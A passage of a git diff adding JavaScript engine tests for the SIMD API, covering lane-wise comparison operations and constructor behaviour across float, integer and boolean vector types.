+ testBinaryCompare(v, w, Float32x4.equal, (x, y) => fround(x) == fround(y), Bool32x4);
+}
+function testNotEqualFloat32x4(v, w) {
+ testBinaryCompare(v, w, Float32x4.notEqual, (x, y) => fround(x) != fround(y), Bool32x4);
+}
+function testLessThanFloat32x4(v, w) {
+ testBinaryCompare(v, w, Float32x4.lessThan, (x, y) => fround(x) < fround(y), Bool32x4);
+}
+function testLessThanOrEqualFloat32x4(v, w) {
+ testBinaryCompare(v, w, Float32x4.lessThanOrEqual, (x, y) => fround(x) <= fround(y), Bool32x4);
+}
+function testGreaterThanFloat32x4(v, w) {
+ testBinaryCompare(v, w, Float32x4.greaterThan, (x, y) => fround(x) > fround(y), Bool32x4);
+}
+function testGreaterThanOrEqualFloat32x4(v, w) {
+ testBinaryCompare(v, w, Float32x4.greaterThanOrEqual, (x, y) => fround(x) >= fround(y), Bool32x4);
+}
+
+function testEqualFloat64x2(v, w) {
+ testBinaryCompare(v, w, Float64x2.equal, (x, y) => x == y, Bool64x2);
+}
+function testNotEqualFloat64x2(v, w) {
+ testBinaryCompare(v, w, Float64x2.notEqual, (x, y) => x != y, Bool64x2);
+}
+function testLessThanFloat64x2(v, w) {
+ testBinaryCompare(v, w, Float64x2.lessThan, (x, y) => x < y, Bool64x2);
+}
+function testLessThanOrEqualFloat64x2(v, w) {
+ testBinaryCompare(v, w, Float64x2.lessThanOrEqual, (x, y) => x <= y, Bool64x2);
+}
+function testGreaterThanFloat64x2(v, w) {
+ testBinaryCompare(v, w, Float64x2.greaterThan, (x, y) => x > y, Bool64x2);
+}
+function testGreaterThanOrEqualFloat64x2(v, w) {
+ testBinaryCompare(v, w, Float64x2.greaterThanOrEqual, (x, y) => x >= y, Bool64x2);
+}
+
+function testEqualInt8x16(v, w) {
+ testBinaryCompare(v, w, Int8x16.equal, (x, y) => x == y, Bool8x16);
+}
+function testNotEqualInt8x16(v, w) {
+ testBinaryCompare(v, w, Int8x16.notEqual, (x, y) => x != y, Bool8x16);
+}
+function testLessThanInt8x16(v, w) {
+ testBinaryCompare(v, w, Int8x16.lessThan, (x, y) => x < y, Bool8x16);
+}
+function testLessThanOrEqualInt8x16(v, w) {
+ testBinaryCompare(v, w, Int8x16.lessThanOrEqual, (x, y) => x <= y, Bool8x16);
+}
+function testGreaterThanInt8x16(v, w) {
+ testBinaryCompare(v, w, Int8x16.greaterThan, (x, y) => x > y, Bool8x16);
+}
+function testGreaterThanOrEqualInt8x16(v, w) {
+ testBinaryCompare(v, w, Int8x16.greaterThanOrEqual, (x, y) => x >= y, Bool8x16);
+}
+
+function testEqualInt16x8(v, w) {
+ testBinaryCompare(v, w, Int16x8.equal, (x, y) => x == y, Bool16x8);
+}
+function testNotEqualInt16x8(v, w) {
+ testBinaryCompare(v, w, Int16x8.notEqual, (x, y) => x != y, Bool16x8);
+}
+function testLessThanInt16x8(v, w) {
+ testBinaryCompare(v, w, Int16x8.lessThan, (x, y) => x < y, Bool16x8);
+}
+function testLessThanOrEqualInt16x8(v, w) {
+ testBinaryCompare(v, w, Int16x8.lessThanOrEqual, (x, y) => x <= y, Bool16x8);
+}
+function testGreaterThanInt16x8(v, w) {
+ testBinaryCompare(v, w, Int16x8.greaterThan, (x, y) => x > y, Bool16x8);
+}
+function testGreaterThanOrEqualInt16x8(v, w) {
+ testBinaryCompare(v, w, Int16x8.greaterThanOrEqual, (x, y) => x >= y, Bool16x8);
+}
+
+function testEqualInt32x4(v, w) {
+ testBinaryCompare(v, w, Int32x4.equal, (x, y) => x == y, Bool32x4);
+}
+function testNotEqualInt32x4(v, w) {
+ testBinaryCompare(v, w, Int32x4.notEqual, (x, y) => x != y, Bool32x4);
+}
+function testLessThanInt32x4(v, w) {
+ testBinaryCompare(v, w, Int32x4.lessThan, (x, y) => x < y, Bool32x4);
+}
+function testLessThanOrEqualInt32x4(v, w) {
+ testBinaryCompare(v, w, Int32x4.lessThanOrEqual, (x, y) => x <= y, Bool32x4);
+}
+function testGreaterThanInt32x4(v, w) {
+ testBinaryCompare(v, w, Int32x4.greaterThan, (x, y) => x > y, Bool32x4);
+}
+function testGreaterThanOrEqualInt32x4(v, w) {
+ testBinaryCompare(v, w, Int32x4.greaterThanOrEqual, (x, y) => x >= y, Bool32x4);
+}
+
+function testEqualUint8x16(v, w) {
+ testBinaryCompare(v, w, Uint8x16.equal, (x, y) => x == y, Bool8x16);
+}
+function testNotEqualUint8x16(v, w) {
+ testBinaryCompare(v, w, Uint8x16.notEqual, (x, y) => x != y, Bool8x16);
+}
+function testLessThanUint8x16(v, w) {
+ testBinaryCompare(v, w, Uint8x16.lessThan, (x, y) => x < y, Bool8x16);
+}
+function testLessThanOrEqualUint8x16(v, w) {
+ testBinaryCompare(v, w, Uint8x16.lessThanOrEqual, (x, y) => x <= y, Bool8x16);
+}
+function testGreaterThanUint8x16(v, w) {
+ testBinaryCompare(v, w, Uint8x16.greaterThan, (x, y) => x > y, Bool8x16);
+}
+function testGreaterThanOrEqualUint8x16(v, w) {
+ testBinaryCompare(v, w, Uint8x16.greaterThanOrEqual, (x, y) => x >= y, Bool8x16);
+}
+
+function testEqualUint16x8(v, w) {
+ testBinaryCompare(v, w, Uint16x8.equal, (x, y) => x == y, Bool16x8);
+}
+function testNotEqualUint16x8(v, w) {
+ testBinaryCompare(v, w, Uint16x8.notEqual, (x, y) => x != y, Bool16x8);
+}
+function testLessThanUint16x8(v, w) {
+ testBinaryCompare(v, w, Uint16x8.lessThan, (x, y) => x < y, Bool16x8);
+}
+function testLessThanOrEqualUint16x8(v, w) {
+ testBinaryCompare(v, w, Uint16x8.lessThanOrEqual, (x, y) => x <= y, Bool16x8);
+}
+function testGreaterThanUint16x8(v, w) {
+ testBinaryCompare(v, w, Uint16x8.greaterThan, (x, y) => x > y, Bool16x8);
+}
+function testGreaterThanOrEqualUint16x8(v, w) {
+ testBinaryCompare(v, w, Uint16x8.greaterThanOrEqual, (x, y) => x >= y, Bool16x8);
+}
+
+function testEqualUint32x4(v, w) {
+ testBinaryCompare(v, w, Uint32x4.equal, (x, y) => x == y, Bool32x4);
+}
+function testNotEqualUint32x4(v, w) {
+ testBinaryCompare(v, w, Uint32x4.notEqual, (x, y) => x != y, Bool32x4);
+}
+function testLessThanUint32x4(v, w) {
+ testBinaryCompare(v, w, Uint32x4.lessThan, (x, y) => x < y, Bool32x4);
+}
+function testLessThanOrEqualUint32x4(v, w) {
+ testBinaryCompare(v, w, Uint32x4.lessThanOrEqual, (x, y) => x <= y, Bool32x4);
+}
+function testGreaterThanUint32x4(v, w) {
+ testBinaryCompare(v, w, Uint32x4.greaterThan, (x, y) => x > y, Bool32x4);
+}
+function testGreaterThanOrEqualUint32x4(v, w) {
+ testBinaryCompare(v, w, Uint32x4.greaterThanOrEqual, (x, y) => x >= y, Bool32x4);
+}
+
+function test() {
+ var Float32x4val = [
+ Float32x4(1, 20, 30, 4),
+ Float32x4(10, 2, 3, 40),
+ Float32x4(9.999, 2.1234, 30.4443, 4),
+ Float32x4(10, 2.1233, 30.4444, 4.0001),
+ Float32x4(NaN, -Infinity, +Infinity, -0),
+ Float32x4(+Infinity, NaN, -0, -Infinity),
+ Float32x4(13.37, 42.42, NaN, 0)
+ ];
+
+ var v, w;
+ for (v of Float32x4val) {
+ for (w of Float32x4val) {
+ testEqualFloat32x4(v, w);
+ testNotEqualFloat32x4(v, w);
+ testLessThanFloat32x4(v, w);
+ testLessThanOrEqualFloat32x4(v, w);
+ testGreaterThanFloat32x4(v, w);
+ testGreaterThanOrEqualFloat32x4(v, w);
+ }
+ }
+
+ var Float64x2val = [
+ Float64x2(1, 20),
+ Float64x2(10, 2),
+ Float64x2(9.999, 2.1234),
+ Float64x2(10, 2.1233),
+ Float64x2(30.4443, 4),
+ Float64x2(30.4444, 4.0001),
+ Float64x2(NaN, -Infinity),
+ Float64x2(+Infinity, NaN),
+ Float64x2(+Infinity, -0),
+ Float64x2(-0, -Infinity),
+ Float64x2(13.37, 42.42),
+ Float64x2(NaN, 0)
+ ];
+
+ for (v of Float64x2val) {
+ for (w of Float64x2val) {
+ testEqualFloat64x2(v, w);
+ testNotEqualFloat64x2(v, w);
+ testLessThanFloat64x2(v, w);
+ testLessThanOrEqualFloat64x2(v, w);
+ testGreaterThanFloat64x2(v, w);
+ testGreaterThanOrEqualFloat64x2(v, w);
+ }
+ }
+
+ var Int8x16val = [
+ Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Int8x16(-1, -2, -3, -4, -5, -6, -7, -8, -9, -10, -11, -12, -13, -14, -15, -16),
+ Int8x16(-1, 2, -3, 4, -5, 6, -7, 8, -9, 10, -11, 12, -13, 14, -15, 16),
+ Int8x16(1, -2, 3, -4, 5, -6, 7, -8, 9, -10, 11, -12, 13, -14, 15, -16),
+ Int8x16(INT8_MAX, INT8_MAX, INT8_MIN, INT8_MIN, INT8_MIN + 1, INT8_MAX - 1, -7, -8, -9, -10, -11, -12, -13, -14, -15, -16),
+ Int8x16(INT8_MAX, INT8_MIN, INT8_MAX, INT8_MIN, INT8_MAX - 1, INT8_MIN + 1, 7, 8, 9, 10, 11, 12, 13, 14, 15, -16)
+ ];
+
+ for (v of Int8x16val) {
+ for (w of Int8x16val) {
+ testEqualInt8x16(v, w);
+ testNotEqualInt8x16(v, w);
+ testLessThanInt8x16(v, w);
+ testLessThanOrEqualInt8x16(v, w);
+ testGreaterThanInt8x16(v, w);
+ testGreaterThanOrEqualInt8x16(v, w);
+ }
+ }
+
+ var Int16x8val = [
+ Int16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Int16x8(-1, -2, -3, -4, -5, -6, -7, -8),
+ Int16x8(-1, 2, -3, 4, -5, 6, -7, 8),
+ Int16x8(1, -2, 3, -4, 5, -6, 7, -8),
+ Int16x8(INT16_MAX, INT16_MAX, INT16_MIN, INT16_MIN, INT16_MIN + 1, INT16_MAX - 1, -7, -8),
+ Int16x8(INT16_MAX, INT16_MIN, INT16_MAX, INT16_MIN, INT16_MAX - 1, INT16_MIN + 1, 7, -8)
+ ];
+
+ for (v of Int16x8val) {
+ for (w of Int16x8val) {
+ testEqualInt16x8(v, w);
+ testNotEqualInt16x8(v, w);
+ testLessThanInt16x8(v, w);
+ testLessThanOrEqualInt16x8(v, w);
+ testGreaterThanInt16x8(v, w);
+ testGreaterThanOrEqualInt16x8(v, w);
+ }
+ }
+
+ var Int32x4val = [
+ Int32x4(1, 2, 3, 4),
+ Int32x4(-1, -2, -3, -4),
+ Int32x4(-1, 2, -3, 4),
+ Int32x4(1, -2, 3, -4),
+ Int32x4(INT32_MAX, INT32_MAX, INT32_MIN, INT32_MIN),
+ Int32x4(INT32_MAX, INT32_MIN, INT32_MAX, INT32_MIN)
+ ];
+
+ for (v of Int32x4val) {
+ for (w of Int32x4val) {
+ testEqualInt32x4(v, w);
+ testNotEqualInt32x4(v, w);
+ testLessThanInt32x4(v, w);
+ testLessThanOrEqualInt32x4(v, w);
+ testGreaterThanInt32x4(v, w);
+ testGreaterThanOrEqualInt32x4(v, w);
+ }
+ }
+
+ var Uint8x16val = [
+ Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Uint8x16(-1, -2, -3, -4, -5, -6, -7, -8, -9, -10, -11, -12, -13, -14, -15, -16),
+ Uint8x16(-1, 2, -3, 4, -5, 6, -7, 8, -9, 10, -11, 12, -13, 14, -15, 16),
+ Uint8x16(1, -2, 3, -4, 5, -6, 7, -8, 9, -10, 11, -12, 13, -14, 15, -16),
+ Uint8x16(UINT8_MAX, UINT8_MAX, 0, 0, 0 + 1, UINT8_MAX - 1, -7, -8, -9, -10, -11, -12, -13, -14, -15, -16),
+ Uint8x16(UINT8_MAX, 0, UINT8_MAX, 0, UINT8_MAX - 1, 0 + 1, 7, 8, 9, 10, 11, 12, 13, 14, 15, -16)
+ ];
+
+ for (v of Uint8x16val) {
+ for (w of Uint8x16val) {
+ testEqualUint8x16(v, w);
+ testNotEqualUint8x16(v, w);
+ testLessThanUint8x16(v, w);
+ testLessThanOrEqualUint8x16(v, w);
+ testGreaterThanUint8x16(v, w);
+ testGreaterThanOrEqualUint8x16(v, w);
+ }
+ }
+
+ var Uint16x8val = [
+ Uint16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Uint16x8(-1, -2, -3, -4, -5, -6, -7, -8),
+ Uint16x8(-1, 2, -3, 4, -5, 6, -7, 8),
+ Uint16x8(1, -2, 3, -4, 5, -6, 7, -8),
+ Uint16x8(UINT16_MAX, UINT16_MAX, 0, 0, 0 + 1, UINT16_MAX - 1, -7, -8),
+ Uint16x8(UINT16_MAX, 0, UINT16_MAX, 0, UINT16_MAX - 1, 0 + 1, 7, -8)
+ ];
+
+ for (v of Uint16x8val) {
+ for (w of Uint16x8val) {
+ testEqualUint16x8(v, w);
+ testNotEqualUint16x8(v, w);
+ testLessThanUint16x8(v, w);
+ testLessThanOrEqualUint16x8(v, w);
+ testGreaterThanUint16x8(v, w);
+ testGreaterThanOrEqualUint16x8(v, w);
+ }
+ }
+
+ var Uint32x4val = [
+ Uint32x4(1, 2, 3, 4),
+ Uint32x4(-1, -2, -3, -4),
+ Uint32x4(-1, 2, -3, 4),
+ Uint32x4(1, -2, 3, -4),
+ Uint32x4(UINT32_MAX, UINT32_MAX, 0, 0),
+ Uint32x4(UINT32_MAX, 0, UINT32_MAX, 0)
+ ];
+
+ for (v of Uint32x4val) {
+ for (w of Uint32x4val) {
+ testEqualUint32x4(v, w);
+ testNotEqualUint32x4(v, w);
+ testLessThanUint32x4(v, w);
+ testLessThanOrEqualUint32x4(v, w);
+ testGreaterThanUint32x4(v, w);
+ testGreaterThanOrEqualUint32x4(v, w);
+ }
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/constructors.js b/js/src/tests/ecma_7/SIMD/constructors.js
new file mode 100644
index 000000000..a10edb343
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/constructors.js
@@ -0,0 +1,226 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+var Float64x2 = SIMD.Float64x2;
+var Float32x4 = SIMD.Float32x4;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+function TestInt8x16Ctor() {
+ // Constructors.
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13), [1,2,3,4,5,6,7,8,9,10,11,12,13,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12), [1,2,3,4,5,6,7,8,9,10,11,12,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11), [1,2,3,4,5,6,7,8,9,10,11,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10), [1,2,3,4,5,6,7,8,9,10,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9), [1,2,3,4,5,6,7,8,9,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8), [1,2,3,4,5,6,7,8,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7), [1,2,3,4,5,6,7,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6), [1,2,3,4,5,6,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5), [1,2,3,4,5,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4), [1,2,3,4,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3), [1,2,3,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2), [1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1), [1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(), [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]);
+ assertEqX16(Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]);
+}
+
+function TestInt16x8Ctor() {
+ // Constructors.
+ assertEqX8(Int16x8(1, 2, 3, 4, 5, 6, 7, 8), [1,2,3,4,5,6,7,8]);
+ assertEqX8(Int16x8(1, 2, 3, 4, 5, 6, 7), [1,2,3,4,5,6,7,0]);
+ assertEqX8(Int16x8(1, 2, 3, 4, 5, 6), [1,2,3,4,5,6,0,0]);
+ assertEqX8(Int16x8(1, 2, 3, 4, 5), [1,2,3,4,5,0,0,0]);
+ assertEqX8(Int16x8(1, 2, 3, 4), [1,2,3,4,0,0,0,0]);
+ assertEqX8(Int16x8(1, 2, 3), [1,2,3,0,0,0,0,0]);
+ assertEqX8(Int16x8(1, 2), [1,2,0,0,0,0,0,0]);
+ assertEqX8(Int16x8(1), [1,0,0,0,0,0,0,0]);
+ assertEqX8(Int16x8(), [0,0,0,0,0,0,0,0]);
+ assertEqX8(Int16x8(1, 2, 3, 4, 5, 6, 7, 8, 9), [1,2,3,4,5,6,7,8]);
+ assertEqX8(Int16x8(1, 2, 3, 4, 5, 6, 7, 8, 9, 10), [1,2,3,4,5,6,7,8]);
+}
+
+function TestInt32x4Ctor() {
+ // Constructors.
+ assertEqX4(Int32x4(1, 2, 3, 4), [1,2,3,4]);
+ assertEqX4(Int32x4(1, 2, 3), [1,2,3,0]);
+ assertEqX4(Int32x4(1, 2), [1,2,0,0]);
+ assertEqX4(Int32x4(1), [1,0,0,0]);
+ assertEqX4(Int32x4(), [0,0,0,0]);
+ assertEqX4(Int32x4(1, 2, 3, 4, 5), [1,2,3,4]);
+ assertEqX4(Int32x4(1, 2, 3, 4, 5, 6), [1,2,3,4]);
+}
+
+function TestUint8x16Ctor() {
+ // Constructors.
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13), [1,2,3,4,5,6,7,8,9,10,11,12,13,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12), [1,2,3,4,5,6,7,8,9,10,11,12,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11), [1,2,3,4,5,6,7,8,9,10,11,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10), [1,2,3,4,5,6,7,8,9,10,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9), [1,2,3,4,5,6,7,8,9,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8), [1,2,3,4,5,6,7,8,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7), [1,2,3,4,5,6,7,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6), [1,2,3,4,5,6,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5), [1,2,3,4,5,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4), [1,2,3,4,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3), [1,2,3,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2), [1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1), [1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(), [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]);
+ assertEqX16(Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18), [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]);
+}
+
+function TestUint16x8Ctor() {
+ // Constructors.
+ assertEqX8(Uint16x8(1, 2, 3, 4, 5, 6, 7, 8), [1,2,3,4,5,6,7,8]);
+ assertEqX8(Uint16x8(1, 2, 3, 4, 5, 6, 7), [1,2,3,4,5,6,7,0]);
+ assertEqX8(Uint16x8(1, 2, 3, 4, 5, 6), [1,2,3,4,5,6,0,0]);
+ assertEqX8(Uint16x8(1, 2, 3, 4, 5), [1,2,3,4,5,0,0,0]);
+ assertEqX8(Uint16x8(1, 2, 3, 4), [1,2,3,4,0,0,0,0]);
+ assertEqX8(Uint16x8(1, 2, 3), [1,2,3,0,0,0,0,0]);
+ assertEqX8(Uint16x8(1, 2), [1,2,0,0,0,0,0,0]);
+ assertEqX8(Uint16x8(1), [1,0,0,0,0,0,0,0]);
+ assertEqX8(Uint16x8(), [0,0,0,0,0,0,0,0]);
+ assertEqX8(Uint16x8(1, 2, 3, 4, 5, 6, 7, 8, 9), [1,2,3,4,5,6,7,8]);
+ assertEqX8(Uint16x8(1, 2, 3, 4, 5, 6, 7, 8, 9, 10), [1,2,3,4,5,6,7,8]);
+}
+
+function TestUint32x4Ctor() {
+ // Constructors.
+ assertEqX4(Uint32x4(1, 2, 3, 4), [1,2,3,4]);
+ assertEqX4(Uint32x4(1, 2, 3), [1,2,3,0]);
+ assertEqX4(Uint32x4(1, 2), [1,2,0,0]);
+ assertEqX4(Uint32x4(1), [1,0,0,0]);
+ assertEqX4(Uint32x4(), [0,0,0,0]);
+ assertEqX4(Uint32x4(1, 2, 3, 4, 5), [1,2,3,4]);
+ assertEqX4(Uint32x4(1, 2, 3, 4, 5, 6), [1,2,3,4]);
+}
+
+function TestFloat32x4Ctor() {
+ assertEqX4(Float32x4(1, 2, 3, 4), [1,2,3,4]);
+ assertEqX4(Float32x4(1, 2, 3), [1,2,3,NaN]);
+ assertEqX4(Float32x4(1, 2), [1,2,NaN,NaN]);
+ assertEqX4(Float32x4(1), [1,NaN,NaN,NaN]);
+ assertEqX4(Float32x4(), [NaN,NaN,NaN,NaN]);
+ assertEqX4(Float32x4(1, 2, 3, 4, 5), [1,2,3,4]);
+ assertEqX4(Float32x4(1, 2, 3, 4, 5, 6), [1,2,3,4]);
+}
+
+function TestFloat64x2Ctor() {
+ assertEqX2(Float64x2(1, 2), [1,2]);
+ assertEqX2(Float64x2(1), [1,NaN]);
+ assertEqX2(Float64x2(), [NaN,NaN]);
+ assertEqX2(Float64x2(1, 2, 3), [1,2]);
+ assertEqX2(Float64x2(1, 2, 3, 4), [1,2]);
+ assertEqX2(Float64x2(1, 2, 3, 4, 5), [1,2]);
+ assertEqX2(Float64x2(1, 2, 3, 4, 5), [1,2]);
+ assertEqX2(Float64x2(1, 2, 3, 4, 5, 6), [1,2]);
+}
+
+function TestBool8x16Ctor() {
+ assertEqX16(Bool8x16(false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true),
+ [false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true]);
+ assertEqX16(Bool8x16(false, true, true, false, false, true, true, false, false, true, true, false, false, true, true),
+ [false, true, true, false, false, true, true, false, false, true, true, false, false, true, true, false]);
+ assertEqX16(Bool8x16(true, true, false, false, true, true, false, false, true, true, false, false, true, true),
+ [true, true, false, false, true, true, false, false, true, true, false, false, true, true, false, false]);
+ assertEqX16(Bool8x16(true, false, false, true, true, false, false, true, true, false, false, true, true),
+ [true, false, false, true, true, false, false, true, true, false, false, true, true, false, false, false]);
+ assertEqX16(Bool8x16(false, false, true, true, false, false, true, true, false, false, true, true),
+ [false, false, true, true, false, false, true, true, false, false, true, true, false, false, false, false]);
+ assertEqX16(Bool8x16(false, true, true, false, false, true, true, false, false, true, true),
+ [false, true, true, false, false, true, true, false, false, true, true, false, false, false, false, false]);
+ assertEqX16(Bool8x16(true, true, false, false, true, true, false, false, true, true),
+ [true, true, false, false, true, true, false, false, true, true, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(true, false, false, true, true, false, false, true, true),
+ [true, false, false, true, true, false, false, true, true, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(false, false, true, true, false, false, true, true),
+ [false, false, true, true, false, false, true, true, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(false, true, true, false, false, true, true),
+ [false, true, true, false, false, true, true, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(true, true, false, false, true, true),
+ [true, true, false, false, true, true, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(true, false, false, true, true),
+ [true, false, false, true, true, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(false, false, true, true),
+ [false, false, true, true, false, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(false, true, true),
+ [false, true, true, false, false, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(true, true),
+ [true, true, false, false, false, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(true),
+ [true, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(),
+ [false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false]);
+ assertEqX16(Bool8x16(false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true, false),
+ [false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true]);
+ assertEqX16(Bool8x16(false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true, false, true),
+ [false, false, true, true, false, false, true, true, false, false, true, true, false, false, true, true]);
+}
+
+function TestBool16x8Ctor() {
+ assertEqX8(Bool16x8(false, false, true, true, false, false, true, true), [false, false, true, true, false, false, true, true]);
+ assertEqX8(Bool16x8(false, true, true, false, false, true, true), [false, true, true, false, false, true, true, false]);
+ assertEqX8(Bool16x8(true, true, false, false, true, true), [true, true, false, false, true, true, false, false]);
+ assertEqX8(Bool16x8(true, false, false, true, true), [true, false, false, true, true, false, false, false]);
+ assertEqX8(Bool16x8(false, false, true, true), [false, false, true, true, false, false, false, false]);
+ assertEqX8(Bool16x8(false, true, true), [false, true, true, false, false, false, false, false]);
+ assertEqX8(Bool16x8(true, true), [true, true, false, false, false, false, false, false]);
+ assertEqX8(Bool16x8(true), [true, false, false, false, false, false, false, false]);
+ assertEqX8(Bool16x8(), [false, false, false, false, false, false, false, false]);
+ assertEqX8(Bool16x8(false, false, true, true, false, false, true, true, true), [false, false, true, true, false, false, true, true]);
+ assertEqX8(Bool16x8(false, false, true, true, false, false, true, true, true, true), [false, false, true, true, false, false, true, true]);
+}
+
+function TestBool32x4Ctor() {
+ assertEqX4(Bool32x4(false, false, true, true), [false, false, true, true]);
+ assertEqX4(Bool32x4(false, false, true), [false, false, true, false]);
+ assertEqX4(Bool32x4(false, true), [false, true, false, false]);
+ assertEqX4(Bool32x4(true), [true, false, false, false]);
+ assertEqX4(Bool32x4(), [false, false, false, false]);
+ assertEqX4(Bool32x4(false, false, true, true, false), [false, false, true, true]);
+ assertEqX4(Bool32x4(false, false, true, true, false, true), [false, false, true, true]);
+}
+
+function TestBool64x2Ctor() {
+ assertEqX2(Bool64x2(false, true), [false, true]);
+ assertEqX2(Bool64x2(true), [true, false]);
+ assertEqX2(Bool64x2(), [false, false]);
+ assertEqX2(Bool64x2(false, true, true), [false, true]);
+ assertEqX2(Bool64x2(false, true, true, true), [false, true]);
+}
+
+function test() {
+ TestFloat32x4Ctor();
+ TestFloat64x2Ctor();
